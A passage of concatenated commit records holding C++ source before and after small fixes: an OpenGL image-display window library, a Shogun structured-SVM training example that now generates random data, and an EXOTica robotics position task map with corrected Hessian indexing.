glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n glBindTexture(GL_TEXTURE_2D, 0);\n\n render_callback(window.win);\n glfwSwapBuffers(window.win);\n}\n\nchar getKey(bool wait)\n{\n std::unique_lock<std::mutex> lock(g_mutex);\n g_close = false;\n\n std::vector<std::string> toDelete;\n for (const auto & win : g_windows)\n {\n if (glfwWindowShouldClose(win.second.win))\n {\n g_close = true;\n toDelete.push_back(win.first);\n }\n else\n {\n glfwMakeContextCurrent(win.second.win);\n glfwSwapBuffers(win.second.win);\n lock.unlock();\n if (wait && !g_close)\n {\n do\n {\n glfwWaitEvents();\n if(glfwWindowShouldClose(win.second.win))\n {\n g_close = true;\n toDelete.push_back(win.first);\n }\n }\n while (!g_key_update && !g_close);\n }\n else\n {\n glfwPollEvents();\n }\n lock.lock();\n\n if (!g_key_update)\n {\n g_key = '\\0';\n }\n }\n }\n\n g_key_update = false;\n for (const auto & name : toDelete)\n {\n eraseWindow(name.c_str());\n }\n return g_key;\n}\n}\n<commit_msg>fix startup aspect ratio<commit_after>\/*\n\n MIT License\n\n Copyright (c) 2017 Leonid Keselman\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n https:\/\/github.com\/leonidk\/imshow\/blob\/master\/LICENSE\n\n *\/\n\n#include \"imshow\/imshow.h\"\n#include <GLFW\/glfw3.h>\n#include <mutex>\n#include <unordered_map>\n#include <string>\n#include <stdint.h>\n#include <memory>\n#include <iostream>\n#include <vector>\n\n#pragma comment( lib, \"opengl32\" )\n\nnamespace glfw\n{\nchar g_key;\nbool g_key_update = false;\nbool g_close = true;\n\nstd::mutex g_mutex;\nstruct winState\n{\n GLFWwindow* win;\n GLuint tex;\n Image image;\n int x, y; \/\/ screen position\n};\nstd::unordered_map<std::string, winState> g_windows;\n\nstatic winState * getWindowState(GLFWwindow *window)\n{\n for (auto & win : g_windows)\n {\n if (win.second.win == window)\n {\n return &win.second;\n }\n }\n return nullptr;\n}\n\nstatic void render_callback(GLFWwindow * window)\n{\n glPushAttrib(GL_ALL_ATTRIB_BITS);\n glPushMatrix();\n\n glEnable(GL_TEXTURE_2D);\n glEnable(GL_ALPHA);\n\n glClearColor(0, 0, 0, 1.0f);\n glClear(GL_COLOR_BUFFER_BIT);\n\n {\n const auto win = getWindowState(window);\n glBindTexture(GL_TEXTURE_2D, win->tex);\n\n glBegin(GL_QUADS);\n glTexCoord2f(0, 1);\n glVertex2f(-1, -1);\n glTexCoord2f(1, 1);\n glVertex2f(1, -1);\n glTexCoord2f(1, 0);\n glVertex2f(1, 1);\n glTexCoord2f(0, 0);\n glVertex2f(-1, 1);\n glEnd();\n\n glBindTexture(GL_TEXTURE_2D, 0);\n }\n\n glDisable(GL_TEXTURE_2D);\n glDisable(GL_ALPHA);\n\n glPopMatrix();\n glPopAttrib();\n}\n\nstatic void position_callback(GLFWwindow *window, int x, int y)\n{\n if(auto win = getWindowState(window))\n {\n win->x = x;\n win->y = y;\n }\n}\n\nstatic void focus_callback(GLFWwindow *window, int focus)\n{\n if(focus)\n {\n glfwMakeContextCurrent(window);\n render_callback(window);\n glfwSwapBuffers(window);\n }\n}\n\nstatic void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods)\n{\n if (action == GLFW_PRESS)\n {\n g_key = tolower(key);\n g_key_update = true;\n }\n}\nstatic void framebuffer_size_callback(GLFWwindow* window, int width, int height)\n{\n const auto win = getWindowState(window);\n const float wScale = ((float)width) \/ ((float)win->image.width);\n const float hScale = ((float)height) \/ ((float)win->image.height);\n const float minScale = (wScale < hScale) ? wScale : hScale;\n const int wShift = (int)nearbyint((width - minScale*win->image.width) \/ 2.0f);\n const int hShift = (int)nearbyint((height - minScale*win->image.height) \/ 2.0f);\n\n glfwMakeContextCurrent(window);\n glViewport(wShift, hShift, (int)nearbyint(win->image.width*minScale), (int)nearbyint(win->image.height*minScale));\n render_callback(window);\n glfwSwapBuffers(window);\n}\n\nstatic void refresh_callback(GLFWwindow *window)\n{\n glfwMakeContextCurrent(window);\n render_callback(window);\n glfwSwapBuffers(window);\n}\n\nstatic void window_close_callback(GLFWwindow *window)\n{\n \/\/ For a key update for the main loop\n g_close = true;\n glfwMakeContextCurrent(window);\n glfwSetWindowShouldClose(window, GLFW_TRUE);\n glfwPostEmptyEvent();\n}\n\nstatic void eraseWindow(std::unordered_map<std::string, winState>::const_iterator iter)\n{\n \/\/ Always invalidate window with existing name\n glfwMakeContextCurrent(iter->second.win);\n glfwDestroyWindow(iter->second.win);\n glDeleteTextures(1,&iter->second.tex);\n g_windows.erase(iter);\n}\n\nstatic void eraseWindow(const char *name)\n{\n auto iter = g_windows.find(name);\n if(iter != g_windows.end())\n {\n eraseWindow(iter);\n }\n}\n\nvoid imshow(const char * name, const Image & img)\n{\n std::unique_lock<std::mutex> lock(g_mutex);\n\n if(g_windows.empty())\n {\n glfwInit();\n }\n\n std::string s_name(name);\n\n bool hasWindow = false;\n int x, y;\n\n auto iter = g_windows.find(s_name);\n if(iter != g_windows.end())\n {\n hasWindow = true;\n x = iter->second.x;\n y = iter->second.y;\n\n eraseWindow(iter);\n iter = g_windows.end();\n }\n\n if (iter == g_windows.end())\n {\n \/\/ OS X:\n \/\/ * must create window prior to glGenTextures on OS X\n \/\/ * glfw complains w\/ the following error on >= 10.12\n auto window = glfwCreateWindow(img.width, img.height, s_name.c_str(), NULL, NULL);\n\n glfwMakeContextCurrent(window);\n\n glfwSetKeyCallback(window, key_callback);\n glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);\n glfwSetWindowRefreshCallback(window, render_callback);\n glfwSetWindowFocusCallback(window, focus_callback);\n glfwSetWindowPosCallback(window, position_callback);\n glfwSetWindowRefreshCallback(window, refresh_callback);\n glfwSetWindowCloseCallback(window, window_close_callback);\n\n GLuint tex;\n glGenTextures(1, &tex);\n\n if(hasWindow)\n {\n glfwSetWindowPos(window, x, y);\n }\n else\n {\n glfwGetWindowPos(window, &x, &y);\n }\n g_windows[s_name] = {window, tex, img, x, y};\n }\n\n GLuint format, type;\n switch (img.type)\n {\n case IM_8U:\n type = GL_UNSIGNED_BYTE;\n break;\n case IM_8I:\n type = GL_BYTE;\n break;\n case IM_16U:\n type = GL_UNSIGNED_SHORT;\n break;\n case IM_16I:\n type = GL_SHORT;\n break;\n case IM_32U:\n type = GL_UNSIGNED_INT;\n break;\n case IM_32I:\n type = GL_INT;\n break;\n case IM_32F:\n type = GL_FLOAT;\n break;\n case IM_64F:\n type = GL_DOUBLE;\n break;\n default:\n return;\n }\n switch (img.channels)\n {\n case 0:\n case 1:\n format = GL_LUMINANCE;\n break;\n case 2:\n format = GL_LUMINANCE_ALPHA;\n break;\n case 3:\n format = GL_BGR;\n break;\n case 4:\n format = GL_BGRA;\n break;\n }\n\n auto window = g_windows[s_name];\n glfwMakeContextCurrent(window.win);\n\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1);\n glBindTexture(GL_TEXTURE_2D, window.tex);\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, img.width, img.height, 0, format, type, img.data);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n glBindTexture(GL_TEXTURE_2D, 0);\n\n \/\/ Retrieve actual size of allocated window framebuffer:\n int width, height;\n glfwGetFramebufferSize(window.win, &width, &height);\n framebuffer_size_callback(window.win, width, height);\n}\n\nchar getKey(bool wait)\n{\n std::unique_lock<std::mutex> lock(g_mutex);\n g_close = false;\n\n std::vector<std::string> toDelete;\n for (const auto & win : g_windows)\n {\n if (glfwWindowShouldClose(win.second.win))\n {\n g_close = true;\n toDelete.push_back(win.first);\n }\n else\n {\n glfwMakeContextCurrent(win.second.win);\n glfwSwapBuffers(win.second.win);\n lock.unlock();\n if (wait && !g_close)\n {\n do\n {\n glfwWaitEvents();\n if(glfwWindowShouldClose(win.second.win))\n {\n g_close = true;\n toDelete.push_back(win.first);\n }\n }\n while (!g_key_update && !g_close);\n }\n else\n {\n glfwPollEvents();\n }\n lock.lock();\n\n if (!g_key_update)\n {\n g_key = '\\0';\n }\n }\n }\n\n g_key_update = false;\n for (const auto & name : toDelete)\n {\n eraseWindow(name.c_str());\n }\n return g_key;\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012 Michal Uricar\n * Copyright (C) 2012 Michal Uricar\n *\/\n\n#include <shogun\/classifier\/svm\/LibLinear.h>\n#include <shogun\/features\/DenseFeatures.h>\n#include <shogun\/io\/SGIO.h>\n#include <shogun\/labels\/MulticlassLabels.h>\n#include <shogun\/labels\/StructuredLabels.h>\n#include <shogun\/lib\/common.h>\n#include <shogun\/loss\/HingeLoss.h>\n#include <shogun\/machine\/LinearMulticlassMachine.h>\n#include <shogun\/mathematics\/Math.h>\n#include <shogun\/multiclass\/MulticlassOneVsRestStrategy.h>\n#include <shogun\/structure\/MulticlassSOLabels.h>\n#include <shogun\/structure\/MulticlassModel.h>\n#include <shogun\/structure\/DualLibQPBMSOSVM.h>\n#include <shogun\/io\/streaming\/StreamingAsciiFile.h>\n#include <shogun\/features\/streaming\/StreamingSparseFeatures.h>\n\nusing namespace shogun;\n\n\/** Reads multiclass trainig data stored in svmlight format (i.e. label nz_idx_1:value1 nz_idx_2:value2 ... nz_idx_N:valueN )\n *\n * @param fname path to file with training data\n * @param DIM dimension of features\n * @param N number of feature vectors\n * @param labs vector with labels\n * @param feats matrix with features\n *\/\nvoid read_data(const char fname[], uint32_t DIM, uint32_t N, SGVector< float64_t > *labs, SGMatrix< float64_t > *feats)\n{\n\tCStreamingAsciiFile* file=new CStreamingAsciiFile(fname);\n\tSG_REF(file);\n\n\tCStreamingSparseFeatures< float64_t >* stream_features=\n\t\tnew CStreamingSparseFeatures< float64_t >(file, true, 1024);\n\tSG_REF(stream_features);\n\n\tSGVector<float64_t > vec(DIM);\n\n\tstream_features->start_parser();\n\n\tuint32_t num_vectors=0;\n\n\twhile( stream_features->get_next_example() )\n\t{\n\t\tvec.zero();\n\t\tstream_features->add_to_dense_vec(1.0, vec, DIM);\n\n\t\t(*labs)[num_vectors]=stream_features->get_label();\n\n\t\tfor(uint32_t i=0; i<DIM; ++i)\n\t\t{\n\t\t\t(*feats)[num_vectors*DIM+i]=vec[i];\n\t\t}\n\n\t\tnum_vectors++;\n\t\tstream_features->release_example();\n\t}\n\n\tstream_features->end_parser();\n\n\tSG_UNREF(stream_features);\n}\n\nint main(int argc, char * argv[])\n{\n\t\/\/ initialization\n\t\/\/-------------------------------------------------------------------------\n\n\tfloat64_t lambda=0.01, eps=0.01;\n\tbool icp=1;\n\tuint32_t cp_models=1;\n\tESolver solver=BMRM;\n\tuint32_t feat_dim, num_feat;\n\n\tinit_shogun_with_defaults();\n\n\tif (argc < 8)\n\t{\n\t\tSG_SERROR(\"Usage: so_multiclass_BMRM <data.in> <feat_dim> <num_feat> <lambda> <icp> <epsilon> <solver> [<cp_models>]\\n\");\n\t\treturn -1;\n\t}\n\n\tSG_SPRINT(\"arg[1] = %s\\n\", argv[1]);\n\n\tfeat_dim=::atoi(argv[2]);\n\tnum_feat=::atoi(argv[3]);\n\tlambda=::atof(argv[4]);\n\ticp=::atoi(argv[5]);\n\teps=::atof(argv[6]);\n\n\tif (strcmp(\"BMRM\", argv[7])==0)\n\t\tsolver=BMRM;\n\n\tif (strcmp(\"PPBMRM\", argv[7])==0)\n\t\tsolver=PPBMRM;\n\n\tif (strcmp(\"P3BMRM\", argv[7])==0)\n\t\tsolver=P3BMRM;\n\n\tif (argc > 8)\n\t{\n\t\tcp_models=::atoi(argv[8]);\n\t}\n\n\tSGVector< float64_t >* labs=\n\t\tnew SGVector< float64_t >(num_feat);\n\n\tSGMatrix< float64_t >* feats=\n\t\tnew SGMatrix< float64_t >(feat_dim, num_feat);\n\n\t\/\/ read data\n\tread_data(argv[1], feat_dim, num_feat, labs, feats);\n\n\t\/\/ Create train labels\n\tCMulticlassSOLabels* labels = new CMulticlassSOLabels(*labs);\n\n\t\/\/ Create train features\n\tCDenseFeatures< float64_t >* features =\n\t\tnew CDenseFeatures< float64_t >(*feats);\n\n\t\/\/ Create structured model\n\tCMulticlassModel* model = new CMulticlassModel(features, labels);\n\n\t\/\/ Create loss function\n\tCHingeLoss* loss = new CHingeLoss();\n\n\t\/\/ Create SO-SVM\n\tCDualLibQPBMSOSVM* sosvm =\n\t\tnew CDualLibQPBMSOSVM(\n\t\t\t\tmodel,\n\t\t\t\tloss,\n\t\t\t\tlabels,\n\t\t\t\tlambda);\n\tSG_REF(sosvm);\n\n\tsosvm->set_cleanAfter(10);\n\tsosvm->set_cleanICP(icp);\n\tsosvm->set_TolRel(eps);\n\tsosvm->set_cp_models(cp_models);\n\tsosvm->set_solver(solver);\n\n\t\/\/ Train\n\t\/\/-------------------------------------------------------------------------\n\n\tSG_SPRINT(\"Train using lambda = %lf ICP removal = %d \\n\",\n\t\t\tsosvm->get_lambda(), sosvm->get_cleanICP());\n\n\tsosvm->train();\n\n\tbmrm_return_value_T res = sosvm->get_result();\n\n\tSG_SPRINT(\"result = { Fp=%lf, Fd=%lf, nIter=%d, nCP=%d, nzA=%d, exitflag=%d }\\n\",\n\t\t\tres.Fp, res.Fd, res.nIter, res.nCP, res.nzA, res.exitflag);\n\n\tCStructuredLabels* out =\n\t\tCStructuredLabels::obtain_from_generic(sosvm->apply());\n\tSG_REF(out);\n\n\tSG_SPRINT(\"\\n\");\n\n\t\/\/ Compute error\n\t\/\/-------------------------------------------------------------------------\n\tfloat64_t error=0.0;\n\n\tfor (uint32_t i=0; i<num_feat; ++i)\n\t{\n\t\terror+=(( (CRealNumber*) out->get_label(i) )->value==labs->get_element(i)) ? 0.0 : 1.0;\n\t}\n\n\tSG_SPRINT(\"Error = %lf %% \\n\", error\/num_feat*100);\n\n\n\t\/\/ Free memory\n\tSG_UNREF(sosvm);\n\tSG_UNREF(out);\n\n\texit_shogun();\n\n\treturn 0;\n}\n<commit_msg>BMRM libshogun example fix (runnable without cmd arguments)<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012 Michal Uricar\n * Copyright (C) 2012 Michal Uricar\n *\/\n\n#include <shogun\/classifier\/svm\/LibLinear.h>\n#include <shogun\/features\/DenseFeatures.h>\n#include <shogun\/io\/SGIO.h>\n#include <shogun\/labels\/MulticlassLabels.h>\n#include <shogun\/labels\/StructuredLabels.h>\n#include <shogun\/lib\/common.h>\n#include <shogun\/loss\/HingeLoss.h>\n#include <shogun\/machine\/LinearMulticlassMachine.h>\n#include <shogun\/mathematics\/Math.h>\n#include <shogun\/multiclass\/MulticlassOneVsRestStrategy.h>\n#include <shogun\/structure\/MulticlassSOLabels.h>\n#include <shogun\/structure\/MulticlassModel.h>\n#include <shogun\/structure\/DualLibQPBMSOSVM.h>\n#include <shogun\/io\/streaming\/StreamingAsciiFile.h>\n#include <shogun\/features\/streaming\/StreamingSparseFeatures.h>\n\nusing namespace shogun;\n\n#define\tDIMS\t\t2\n#define EPSILON \t10e-5\n#define\tNUM_SAMPLES\t100\n#define NUM_CLASSES\t10\n\nchar FNAME[] = \"data.svmlight\";\n\n\/** Reads multiclass trainig data stored in svmlight format (i.e. label nz_idx_1:value1 nz_idx_2:value2 ... nz_idx_N:valueN )\n *\n * @param fname path to file with training data\n * @param DIM dimension of features\n * @param N number of feature vectors\n * @param labs vector with labels\n * @param feats matrix with features\n *\/\nvoid read_data(const char fname[], uint32_t DIM, uint32_t N, SGVector< float64_t > *labs, SGMatrix< float64_t > *feats)\n{\n\tCStreamingAsciiFile* file=new CStreamingAsciiFile(fname);\n\tSG_REF(file);\n\n\tCStreamingSparseFeatures< float64_t >* stream_features=\n\t\tnew CStreamingSparseFeatures< float64_t >(file, true, 1024);\n\tSG_REF(stream_features);\n\n\tSGVector<float64_t > vec(DIM);\n\n\tstream_features->start_parser();\n\n\tuint32_t num_vectors=0;\n\n\twhile( stream_features->get_next_example() )\n\t{\n\t\tvec.zero();\n\t\tstream_features->add_to_dense_vec(1.0, vec, DIM);\n\n\t\t(*labs)[num_vectors]=stream_features->get_label();\n\n\t\tfor(uint32_t i=0; i<DIM; ++i)\n\t\t{\n\t\t\t(*feats)[num_vectors*DIM+i]=vec[i];\n\t\t}\n\n\t\tnum_vectors++;\n\t\tstream_features->release_example();\n\t}\n\n\tstream_features->end_parser();\n\n\tSG_UNREF(stream_features);\n}\n\n\/** Generates random multiclass training data and stores them in svmlight format\n *\n * @param labs returned vector with labels\n * @param feats returned matrix with features\n *\/\nvoid gen_rand_data(SGVector< float64_t > labs, SGMatrix< float64_t > feats)\n{\n\tfloat64_t means[DIMS];\n\tfloat64_t stds[DIMS];\n\n\tFILE* pfile = fopen(FNAME, \"w\");\n\n\tfor ( int32_t c = 0 ; c < NUM_CLASSES ; ++c )\n\t{\n\t\tfor ( int32_t j = 0 ; j < DIMS ; ++j )\n\t\t{\n\t\t\tmeans[j] = CMath::random(-100, 100);\n\t\t\tstds[j] = CMath::random( 1, 5);\n\t\t}\n\n\t\tfor ( int32_t i = 0 ; i < NUM_SAMPLES ; ++i )\n\t\t{\n\t\t\tlabs[c*NUM_SAMPLES+i] = c;\n\n\t\t\tfprintf(pfile, \"%d\", c);\n\n\t\t\tfor ( int32_t j = 0 ; j < DIMS ; ++j )\n\t\t\t{\n\t\t\t\tfeats[(c*NUM_SAMPLES+i)*DIMS + j] =\n\t\t\t\t\tCMath::normal_random(means[j], stds[j]);\n\n\t\t\t\tfprintf(pfile, \" %d:%f\", j+1, feats[(c*NUM_SAMPLES+i)*DIMS + j]);\n\t\t\t}\n\n\t\t\tfprintf(pfile, \"\\n\");\n\t\t}\n\t}\n\n\tfclose(pfile);\n}\n\nint main(int argc, char * argv[])\n{\n\t\/\/ initialization\n\t\/\/-------------------------------------------------------------------------\n\n\tfloat64_t lambda=0.01, eps=0.01;\n\tbool icp=1;\n\tuint32_t cp_models=1;\n\tESolver solver=BMRM;\n\tuint32_t feat_dim, num_feat;\n\n\tinit_shogun_with_defaults();\n\n\tif (argc > 1 && argc < 8)\n\t{\n\t\tSG_SERROR(\"Usage: so_multiclass_BMRM <data.in> <feat_dim> <num_feat> <lambda> <icp> <epsilon> <solver> [<cp_models>]\\n\");\n\t\treturn -1;\n\t}\n\n\tif (argc > 1)\n\t{\n\t\t\/\/ parse command line arguments for parameters setting\n\n\t\tSG_SPRINT(\"arg[1] = %s\\n\", argv[1]);\n\n\t\tfeat_dim=::atoi(argv[2]);\n\t\tnum_feat=::atoi(argv[3]);\n\t\tlambda=::atof(argv[4]);\n\t\ticp=::atoi(argv[5]);\n\t\teps=::atof(argv[6]);\n\n\t\tif (strcmp(\"BMRM\", argv[7])==0)\n\t\t\tsolver=BMRM;\n\n\t\tif (strcmp(\"PPBMRM\", argv[7])==0)\n\t\t\tsolver=PPBMRM;\n\n\t\tif (strcmp(\"P3BMRM\", argv[7])==0)\n\t\t\tsolver=P3BMRM;\n\n\t\tif (argc > 8)\n\t\t{\n\t\t\tcp_models=::atoi(argv[8]);\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ default parameters\n\n\t\tfeat_dim=DIMS;\n\t\tnum_feat=NUM_SAMPLES*NUM_CLASSES;\n\t\tlambda=1e3;\n\t\ticp=1;\n\t\teps=0.01;\n\t\tsolver=BMRM;\n\t}\n\n\tSGVector< float64_t >* labs=\n\t\tnew SGVector< float64_t >(num_feat);\n\n\tSGMatrix< float64_t >* feats=\n\t\tnew SGMatrix< float64_t >(feat_dim, num_feat);\n\n\tif (argc==1)\n\t{\n\t\tgen_rand_data(*labs, *feats);\n\t}\n\telse\n\t{\n\t\t\/\/ read data\n\t\tread_data(argv[1], feat_dim, num_feat, labs, feats);\n\t}\n\n\t\/\/ Create train labels\n\tCMulticlassSOLabels* labels = new CMulticlassSOLabels(*labs);\n\n\t\/\/ Create train features\n\tCDenseFeatures< float64_t >* features =\n\t\tnew CDenseFeatures< float64_t >(*feats);\n\n\t\/\/ Create structured model\n\tCMulticlassModel* model = new CMulticlassModel(features, labels);\n\n\t\/\/ Create loss function\n\tCHingeLoss* loss = new CHingeLoss();\n\n\t\/\/ Create SO-SVM\n\tCDualLibQPBMSOSVM* sosvm =\n\t\tnew CDualLibQPBMSOSVM(\n\t\t\t\tmodel,\n\t\t\t\tloss,\n\t\t\t\tlabels,\n\t\t\t\tlambda);\n\tSG_REF(sosvm);\n\n\tsosvm->set_cleanAfter(10);\n\tsosvm->set_cleanICP(icp);\n\tsosvm->set_TolRel(eps);\n\tsosvm->set_cp_models(cp_models);\n\tsosvm->set_solver(solver);\n\n\t\/\/ Train\n\t\/\/-------------------------------------------------------------------------\n\n\tSG_SPRINT(\"Train using lambda = %lf ICP removal = %d \\n\",\n\t\t\tsosvm->get_lambda(), sosvm->get_cleanICP());\n\n\tsosvm->train();\n\n\tbmrm_return_value_T res = sosvm->get_result();\n\n\tSG_SPRINT(\"result = { Fp=%lf, Fd=%lf, nIter=%d, nCP=%d, nzA=%d, exitflag=%d }\\n\",\n\t\t\tres.Fp, res.Fd, res.nIter, res.nCP, res.nzA, res.exitflag);\n\n\tCStructuredLabels* out =\n\t\tCStructuredLabels::obtain_from_generic(sosvm->apply());\n\tSG_REF(out);\n\n\tSG_SPRINT(\"\\n\");\n\n\t\/\/ Compute error\n\t\/\/-------------------------------------------------------------------------\n\tfloat64_t error=0.0;\n\n\tfor (uint32_t i=0; i<num_feat; ++i)\n\t{\n\t\terror+=(( (CRealNumber*) out->get_label(i) )->value==labs->get_element(i)) ? 0.0 : 1.0;\n\t}\n\n\tSG_SPRINT(\"Error = %lf %% \\n\", error\/num_feat*100);\n\n\n\t\/\/ Free memory\n\tSG_UNREF(sosvm);\n\tSG_UNREF(out);\n\n\texit_shogun();\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2018-2020, University of Edinburgh, University of Oxford\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_core_task_maps\/eff_position.h>\n\nREGISTER_TASKMAP_TYPE(\"EffPosition\", exotica::EffPosition);\n\nnamespace exotica\n{\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n }\n}\n\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi, Eigen::MatrixXdRef jacobian)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n if (jacobian.rows() != kinematics[0].jacobian.rows() * 3 || jacobian.cols() != kinematics[0].jacobian(0).data.cols()) ThrowNamed(\"Wrong size of jacobian! \" << kinematics[0].jacobian(0).data.cols());\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n jacobian.middleRows(i * 3, 3) = kinematics[0].jacobian[i].data.topRows(3);\n }\n}\n\nvoid EffPosition::Update(Eigen::VectorXdRefConst x, Eigen::VectorXdRef phi, Eigen::MatrixXdRef jacobian, HessianRef hessian)\n{\n if (phi.rows() != kinematics[0].Phi.rows() * 3) ThrowNamed(\"Wrong size of Phi!\");\n if (jacobian.rows() != kinematics[0].jacobian.rows() * 3 || jacobian.cols() != kinematics[0].jacobian(0).data.cols()) ThrowNamed(\"Wrong size of jacobian! \" << kinematics[0].jacobian(0).data.cols());\n for (int i = 0; i < kinematics[0].Phi.rows(); ++i)\n {\n phi(i * 3) = kinematics[0].Phi(i).p[0];\n phi(i * 3 + 1) = kinematics[0].Phi(i).p[1];\n phi(i * 3 + 2) = kinematics[0].Phi(i).p[2];\n jacobian.middleRows(i * 3, 3) = kinematics[0].jacobian[i].data.topRows(3);\n\n for (int j = 0; j < 3; ++j)\n {\n hessian(j).block(i * 3, 0, jacobian.cols(), jacobian.cols()) = kinematics[0].hessian[i](j);\n }\n }\n}\n\nint EffPosition::TaskSpaceDim()\n{\n return kinematics[0].Phi.rows() * 3;\n}\n} \/\/ namespace exotica\n<commit_msg>[exotica_core_task_maps] EffPosition: Fix Hessian indexing<commit_after>\/\/\n\/\/ Copyright (c) 2018-2020, University of Edinburgh, University of Oxford\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include 